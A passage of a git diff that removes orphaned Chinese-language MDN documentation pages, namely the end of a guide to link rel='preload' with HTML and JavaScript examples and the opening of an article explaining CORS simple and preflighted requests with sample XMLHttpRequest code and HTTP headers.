- -<pre class="brush: html notranslate"><link rel="stylesheet" href="styles/main.css"></pre> - -<p>但是在这里,我们将使用<code>preload</code>作为<code>rel</code>属性的属性值。这种做法将把<code><link></code> 元素塞入一个预加载器中,这个预加载器也将用于其他我们所需要的,各种各样的,任意类型的资源。为了完成基本的配置,你还需要通过 {{htmlattrxref("href", "link")}}和{{htmlattrxref("as", "link")}} 属性指定需要被预加载资源的资源路径及其类型。</p> - -<p>一个简单的例子可能看起来像下面这样 (在这里可以查看示例的<a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css">JS和CSS源代码</a>,或是<a href="https://mdn.github.io/html-examples/link-rel-preload/js-and-css/">在线实例</a>)</p> - -<pre class="brush: html notranslate"><head> - <meta charset="utf-8"> - <title>JS and CSS preload example</title> - - <link rel="preload" href="style.css" as="style"> - <link rel="preload" href="main.js" as="script"> - - <link rel="stylesheet" href="style.css"> -</head> - -<body> - <h1>bouncing balls</h1> - <canvas></canvas> - - <script src="main.js"></script> -</body></pre> - -<p>在这里,我们预加载了CSS和JavaScript文件,所以在随后的页面渲染中,一旦需要使用它们,它们就会立即可用。这个例子本身可能有些平淡,但预加载的好处可以更清晰直观的得到展示,在随后的渲染过程中,这些资源得到有效使用。对于更大的文件来说,也是如此。 例如那些在CSS文件中指向的资源,比如字体或是图片;再比如更大的图片和视频文件。</p> - -<p><code>preload</code> 还有许多其他好处。使用 <code>as</code> 来指定将要预加载的内容的类型,将使得浏览器能够:</p> - -<ul> - <li>更精确地优化资源加载优先级。</li> - <li>匹配未来的加载需求,在适当的情况下,重复利用同一资源。</li> - <li>为资源应用正确的<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">内容安全策略</a>。</li> - <li>为资源设置正确的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept" title="The Accept request HTTP header advertises which content types, expressed as MIME types, the client is able to understand. Using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the Content-Type response header. Browsers set adequate values for this header depending of the context where the request is done: when fetching a CSS stylesheet a different value is set for the request than when fetching an image, video or a script."><code>Accept</code></a> 请求头。</li> -</ul> - -<h3 id="哪些类型的内容可以被预加载?">哪些类型的内容可以被预加载?</h3> - -<p>许多不同类型的内容都可以被预加载,一些主要可用的<code>as</code> 属性值列举如下:</p> - -<ul> - <li><code>audio</code>: 音频文件。</li> - <li><code>document</code>: 一个将要被嵌入到{{htmlelement("frame")}}或{{htmlelement("iframe")}}内部的HTML文档。</li> - <li><code>embed</code>: 一个将要被嵌入到{{htmlelement("embed")}}元素内部的资源。</li> - <li><code>fetch</code>: 那些将要通过fetch和XHR请求来获取的资源,比如一个ArrayBuffer或JSON文件。</li> - <li><code>font</code>: 字体文件。</li> - <li><code>image</code>: 图片文件。</li> - <li><code>object</code>: 一个将会被嵌入到{{htmlelement("embed")}}元素内的文件。</li> - <li><code>script</code>: JavaScript文件。</li> - <li><code>style</code>: 样式表。</li> - <li><code>track</code>: WebVTT文件。</li> - <li><code>worker</code>: 一个JavaScript的web worker或shared worker。</li> - <li><code>video</code>: 视频文件。</li> -</ul> - -<div class="note"> -<p><strong>注意</strong>: 你可以通过进一步阅读<a href="https://w3c.github.io/preload/#link-element-extensions">link element extensions</a>来了解关于这些属性值以及其他在Preload方案中预期将采纳的特性的细节。同样需要注意的是,关于<code>as</code>属性的有效值得完整列表是由Fetch方案来制定的,可以查看<a href="https://fetch.spec.whatwg.org/#concept-request-destination">request destinations</a>来进行了解。</p> -</div> - -<h2 id="包含一个MIME类型">包含一个MIME类型</h2> - -<p><code><link></code> 元素可以接受一个{{htmlattrxref("type", "link")}}属性。这一属性可以包含该元素所指向资源的MIME类型。在浏览器进行预加载的时候,这个属性值将会非常有用——浏览器将使用<code>type</code>属性来判断它是否支持这一资源,如果浏览器支持这一类型资源的预加载,下载将会开始,否则便对其加以忽略。</p> - -<p>你可以在我们的视频示例中看到一个与此有关的示例(查看<a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/video">完整源码</a>,也可以查看<a href="https://mdn.github.io/html-examples/link-rel-preload/video/">在线示例</a>):</p> - -<pre class="brush: html notranslate"><head> - <meta charset="utf-8"> - <title>Video preload example</title> - - <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"> -</head> -<body> - <video controls> - <source src="sintel-short.mp4" type="video/mp4"> - <source src="sintel-short.webm" type="video/webm"> - <p>Your browser doesn't support HTML5 video. Here is a <a href="sintel-short.mp4">link to the video</a> instead.</p> - </video> -</body></pre> - -<p>在这个实例中,支持MP4格式的浏览器将仅预加载并使用MP4资源,以使得视频播放器的表现尽可能的流畅,或者说,为用户提供更好的响应。而不支持MP4格式的浏览器仍然能够加载视频的WebM版本,但无法体验到预加载带来的良好体验。这个例子展示了预加载机制如何与渐进式增强的哲学进行有机的结合。</p> - -<h2 id="跨域获取">跨域获取</h2> - -<p>如果你已经有了一个可以正确工作的<a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>设置,那么你也可以同样成功的预加载那些跨域资源,只需要你在<code><link></code>元素中设置好{{htmlattrxref("crossorigin","link")}}属性即可。</p> - -<p>一个有趣的情况是,如果你需要获取的是字体文件,那么即使是非跨域的情况下,也需要应用这一属性。因为各种各样的原因,这些获取请求必须使用以匿名模式使用CORS(如果你对其中的细节感兴趣,可以查看<a href="https://drafts.csswg.org/css-fonts/#font-fetching-requirements">Font fetching requirements</a>一文)。</p> - -<p>我们将以这个情况作为一个示例——首先是由于字体文件的加载是预加载方面一个好的用例,其次,这也比真正的配置一个跨域请求的例子要简单许多。你可以查看 <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts">在Github上的示例源代码</a>(也可以查看<a href="https://mdn.github.io/html-examples/link-rel-preload/fonts/">在线示例</a>):</p> - -<pre class="brush: html notranslate"><head> - <meta charset="utf-8"> - <title>Web font example</title> - - <link rel="preload" href="fonts/cicle_fina-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"> - <link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> - <link rel="preload" href="fonts/cicle_fina-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"> - <link rel="preload" href="fonts/cicle_fina-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"> - <link rel="preload" href="fonts/cicle_fina-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"> - - <link rel="preload" href="fonts/zantroke-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"> - <link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> - <link rel="preload" href="fonts/zantroke-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"> - <link rel="preload" href="fonts/zantroke-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"> - <link rel="preload" href="fonts/zantroke-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"> - - <link href="style.css" rel="stylesheet" type="text/css"> -</head> -<body> - ... -</body></pre> - -<p>你可以看到,在这里,我们不仅通过配置<code>type</code>属性提供了一个MIME类型的暗示,我们也提供了一个<code>crossorigin</code> 属性来处理CORS问题。</p> - -<h2 id="包含媒体">包含媒体</h2> - -<p><code><link></code>元素有一个很棒的特性是它们能够接受一个{{htmlattrxref("media", "link")}}属性。它们可以接受<a href="/en-US/docs/Web/CSS/@media#Media_types">媒体类型</a>或有效的<a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">媒体查询</a>作为属性值,这将令你能够使用响应式的预加载!</p> - -<p>让我们来看一个简单的示例(可以查看<a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/media">Github上的源代码</a>或<a href="https://mdn.github.io/html-examples/link-rel-preload/media/">在线示例</a>):</p> - -<pre class="brush: html notranslate"><head> - <meta charset="utf-8"> - <title>Responsive preload example</title> - - <link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)"> - <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"> - - <link rel="stylesheet" href="main.css"> -</head> -<body> - <header> - <h1>My site</h1> - </header> - - <script> - var mediaQueryList = window.matchMedia("(max-width: 600px)"); - var header = document.querySelector('header'); - - if(mediaQueryList.matches) { - header.style.backgroundImage = 'url(bg-image-narrow.png)'; - } else { - header.style.backgroundImage = 'url(bg-image-wide.png)'; - } - </script> -</body></pre> - -<p>你可以看到我们在<code><link></code>元素中包含了一个<code>media</code>属性,因此,当用户在使用较窄屏幕的设备时,较窄的图片将会被预加载,而在较宽的设备上,较宽的图片将被预加载。然后我们仍需要在header元素上附加合适的图片——通过{{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} 来加以实现(可以查看<a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a>一文来了解更多信息)。</p> - -<p>这一特性将使另一种情况成为可能——字体在随着页面渲染完成的时候即可使用,减少了FOUT (无样式字体闪烁,flash of unstyled text)问题。</p> - -<p>值得注意的是,这一特特性并不仅限于图片,或其他有着同样类型的文件,还有更多想象空间。比如,你可以在用户仅有较窄的屏幕,CPU和带宽资源较为有限的情况下预加载并展示一个简单的SVG图表,而在用户资源较为充裕的时候再去加载一系列复杂的JavaScript文件以显示一个有交互功能的3D模型。</p> - -<h2 id="脚本化与预加载">脚本化与预加载</h2> - -<p>另一项很棒的关于预加载的事情是,如果需要,你可以完全以脚本化的方式来执行这些预加载操作。例如,我们在这里创建一个{{domxref("HTMLLinkElement")}}实例,然后将他们附加到DOM上:</p> - -<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadLink <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"link"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> -preloadLink<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span> -preloadLink<span class="punctuation token">.</span>rel <span class="operator token">=</span> <span class="string token">"preload"</span><span class="punctuation token">;</span> -preloadLink<span class="punctuation token">.</span><span class="keyword token">as</span> <span class="operator token">=</span> <span class="string token">"script"</span><span class="punctuation token">;</span> -document<span class="punctuation token">.</span>head<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadLink<span class="punctuation token">)</span><span class="punctuation token">;</span> -</code></pre> - -<p>这意味着浏览器将预加载这个JavaScript文件,但并不实际执行它。</p> - -<p>如果要对其加以执行,在需要的时候,你可以执行:</p> - -<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadedScript <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"script"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> -preloadedScript<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span> -document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadedScript<span class="punctuation token">)</span><span class="punctuation token">;</span> -</code></pre> - -<p>当你需要预加载一个脚本,但需要推迟到需要的时候才令其执行时,这种方式会特别有用。</p> - -<h2 id="其他资源预加载机制">其他资源预加载机制</h2> - -<p>还存在一些其他预加载机制,但没有哪个会比<code><link rel="preload"></code>在大多数情况下更符合你的需要和预期:</p> - -<ul> - <li><code><link rel="prefetch"></code> 已经被许多浏览器支持了相当长的时间,但它是意图预获取一些资源,以备下一个导航/页面使用(比如,当你去到下一个页面时)。这很好,但对当前的页面并没有什么助益。此外,浏览器会给使用<code>prefetch</code>的资源一个相对较低的优先级——与使用<code>preload</code>的资源相比。毕竟,当前的页面比下一个页面相对更加重要。查看<a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">Link prefetching FAQ</a>可以了解更多细节。</li> - <li><code><link rel="subresource"></code>被Chrome支持了有一段时间,并且已经有些搔到预加载当前导航/页面(所含有的资源)的痒处了。但它有一个问题——没有办法处理所获取内容的优先级(<code>as</code>也并不存在),所以最终,这些资源会以一个相当低的优先级被加载,这使得它能提供的帮助相当有限。</li> - <li>除以上这些以外,还有大量的基于脚本的资源加载器。但这些加载器对于浏览器的加载优先级队列完全束手无策,这也使得他们不得不屈服于同样的性能问题。</li> -</ul> - -<h2 id="Specifications" name="Specifications">相关规范/草案</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td> - <td>{{Spec2('Preload')}}</td> - <td><code>preload</code> 的更多详情</td> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', '#link-type-preload', 'rel=preload')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td><code>rel=preload</code> 的定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(50.0)}}</td> - <td>{{CompatGeckoDesktop("56")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>47</td> - <td>11</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatAndroid(56)}}</td> - <td>{{CompatChrome(50.0)}}</td> - <td>{{CompatGeckoMobile("56")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>11</td> - <td>{{CompatChrome(50.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Firefox支持对于如下内容的预加载({{htmlattrxref("as","link")}}属性的有效值)—— <code>script</code>,<code>style</code>,<code>image</code>,<code>video</code>,<code>audio</code>,<code>track</code>,<code>font</code>, 以及 <code>fetch</code>。关于所支持的字体类型的预加载被定义在<a href="https://www.iana.org/assignments/media-types/media-types.xhtml#font">fonts media type list</a> 中(注意,<code>font/collection</code>不被支持)。同样需要注意的是,当前的Firefox仅支持可缓存资源的预加载。</p> - -<h2 id="其他参考">其他参考</h2> - -<ul> - <li><a href="https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/">Preload: What Is It Good For?</a> by Yoav Weiss</li> -</ul> diff --git a/files/zh-cn/orphaned/web/http/headers/index/index.html b/files/zh-cn/orphaned/web/http/headers/index/index.html deleted file mode 100644 index 6268193b12..0000000000 --- a/files/zh-cn/orphaned/web/http/headers/index/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Index -slug: orphaned/Web/HTTP/Headers/Index -translation_of: Web/HTTP/Headers/Index -original_slug: Web/HTTP/Headers/Index ---- -<div>{{HTTPSidebar}}</div> - -<p>{{Index("/en-US/docs/Web/HTTP/Headers")}}</p> diff --git a/files/zh-cn/orphaned/web/http/跨域资源共享(cors)_/index.html b/files/zh-cn/orphaned/web/http/跨域资源共享(cors)_/index.html deleted file mode 100644 index 4a8baf0933..0000000000 --- a/files/zh-cn/orphaned/web/http/跨域资源共享(cors)_/index.html +++ /dev/null @@ -1,543 +0,0 @@ ---- -title: 跨域资源共享(CORS) -slug: orphaned/Web/HTTP/跨域资源共享(CORS)_ -original_slug: Web/HTTP/跨域资源共享(CORS)_ ---- -<div>{{ HTTPSidebar }}</div> - -<div></div> - -<div><span class="seoSummary">跨域资源共享({{Glossary("CORS")}}) 是一种机制,它使用额外的 {{Glossary("HTTP")}} 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。</span>当一个资源从与该资源本身所在的服务器<strong>不同的域、协议或端口</strong>请求一个资源时,资源会发起一个<strong>跨域 HTTP 请求</strong>。</div> - -<div></div> - -<div>比<font>如,站点 http://domain-a.com 的某 HTML 页面通过 <a href="/zh-CN/docs/Web/HTML/Element/Img#Attributes"><img> 的 src </a>请求 http://domain-b.com/image.jpg。网络</font>上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。</div> - -<div></div> - -<p>出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。</p> - -<p> (译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> - -<p>跨域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> )使用 CORS,以降低跨域 HTTP 请求所带来的风险。</p> - -<h2 id="谁应该读这篇文章?">谁应该读这篇文章?</h2> - -<p>说实话,每个人。</p> - -<p>更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨域资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 <a class="internal" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Server-Side_Access_Control" title="En/Server-Side Access Control">cross-origin sharing from a server perspective (with PHP code snippets)</a> 。</p> - -<h2 id="什么情况下需要_CORS_?">什么情况下需要 CORS ?</h2> - -<p>跨域资源共享标准( <a class="external external-icon" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">cross-origin sharing standard</a> )允许在下列场景中使用跨域 HTTP 请求:</p> - -<ul> - <li>前文提到的由 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 发起的跨域 HTTP 请求。</li> - <li>Web 字体 (CSS 中通过<code> @font-face </code>使用跨域字体资源), <a class="external external-icon" href="http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox" title="http://www.webfonts.info/wiki/index.php?title=@font-face_support_in_Firefox">因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用</a>。</li> - <li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 贴图</a></li> - <li>使用 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code> 将 Images/video 画面绘制到 canvas</li> -</ul> - -<p>本文概述了跨域资源共享机制及其所涉及的 HTTP 头。</p> - -<h2 id="功能概述">功能概述</h2> - -<p>跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 <a href="/zh-CN/docs/Web/HTTP/Cookies">Cookies </a>和 HTTP 认证相关数据)。</p> - -<p>CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。</p> - -<p>接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。</p> - -<h2 id="若干访问控制场景">若干访问控制场景</h2> - -<p>这里,我们使用三个场景来解释跨域资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。</p> - -<p>本文中的 JavaScript 代码片段都可以从 <a href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> 获得。另外,使用支持跨域 {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。</p> - -<p>关于服务端对跨域资源共享的支持的讨论,请参见这篇文章: <a href="/zh-CN/docs/Web/HTTP/Server-Side_Access_Control">Server-Side_Access_Control (CORS)</a>。</p> - -<h3 id="简单请求">简单请求</h3> - -<p>某些请求不会触发 <a href="/zh-CN/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS 预检请求</a>。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:</p> - -<ul> - <li>使用下列方法之一: - <ul> - <li>{{HTTPMethod("GET")}}</li> - <li>{{HTTPMethod("HEAD")}}</li> - <li>{{HTTPMethod("POST")}}</li> - </ul> - </li> - <li><span class="short_text" id="result_box" lang="zh-CN"><span>Fetch 规范定义了</span></span><a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">对 CORS 安全的首部字段集合</a>,不得人为设置该集合之外的其他首部字段。该集合为: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (需要注意额外的限制)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#downlink">Downlink</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li>{{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: - <ul> - <li><code>text/plain</code></li> - <li><code>multipart/form-data</code></li> - <li><code>application/x-www-form-urlencoded</code></li> - </ul> - </li> - <li>请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。</li> - <li>请求中没有使用 {{domxref("ReadableStream")}} 对象。</li> -</ul> - -<div class="note"><strong>注意:</strong> 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨域请求的网站无需为这一新的 HTTP 访问控制特性担心。</div> - -<div class="note"><strong>注意:</strong> WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。</div> - -<p>比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:</p> - -<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/public-data/'; - -function callOtherDomain() { - if(invocation) { - invocation.open('GET', url, true); - invocation.onreadystatechange = handler; - invocation.send(); - } -} -</pre> - -<p><span class="short_text" id="result_box" lang="zh-CN"><span>客户端和服务器之间使用 CORS 首部字段来处理跨域权限:</span></span></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> - -<p>分别检视请求报文和响应报文:</p> - -<pre class="brush: shell">GET /resources/public-data/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/access-control/simpleXSInvocation.html -Origin: http://foo.example - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 00:23:53 GMT -Server: Apache/2.0.61 -Access-Control-Allow-Origin: * -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Transfer-Encoding: chunked -Content-Type: application/xml - -[XML Data] -</pre> - -<p>第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 <code>http://foo.example</code>。</p> - -<p>第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 <code>Access-Control-Allow-Origin: *</code> 表明,该资源可以被<strong>任意</strong>外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:</p> - -<p><code>Access-Control-Allow-Origin: http://foo.example</code></p> - -<p>现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。<code>Access-Control-Allow-Origin</code> 应当为 * 或者包含由 Origin 首部字段所指明的域名。</p> - -<h3 id="预检请求">预检请求</h3> - -<p>与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。</p> - -<p>当请求满足下述任一条件时,即应首先发送预检请求:</p> - -<ul> - <li>使用了下面任一 HTTP 方法: - <ul> - <li>{{HTTPMethod("PUT")}}</li> - <li>{{HTTPMethod("DELETE")}}</li> - <li>{{HTTPMethod("CONNECT")}}</li> - <li>{{HTTPMethod("OPTIONS")}}</li> - <li>{{HTTPMethod("TRACE")}}</li> - <li>{{HTTPMethod("PATCH")}}</li> - </ul> - </li> - <li>人为设置了<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">对 CORS 安全的首部字段集合</a>之外的其他首部字段。该集合为: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (需要注意额外的限制)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#downlink">Downlink</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li> {{HTTPHeader("Content-Type")}} 的值不属于下列之一: - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li>请求中的{{domxref("XMLHttpRequestUpload")}} 对象注册了任意多个事件监听器。</li> - <li>请求中使用了{{domxref("ReadableStream")}}对象。</li> -</ul> - -<div class="note"> -<p><strong>注意:</strong> WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。</p> -</div> - -<p>如下是一个需要执行预检请求的 HTTP 请求:</p> - -<pre class="brush: js">var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/post-here/'; -var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; - -function callOtherDomain(){ - if(invocation) - { - invocation.open('POST', url, true); - invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); - invocation.setRequestHeader('Content-Type', 'application/xml'); - invocation.onreadystatechange = handler; - invocation.send(body); - } -} - -...... -</pre> - -<p>上面的代码使用 POST 请求发送一个 XML 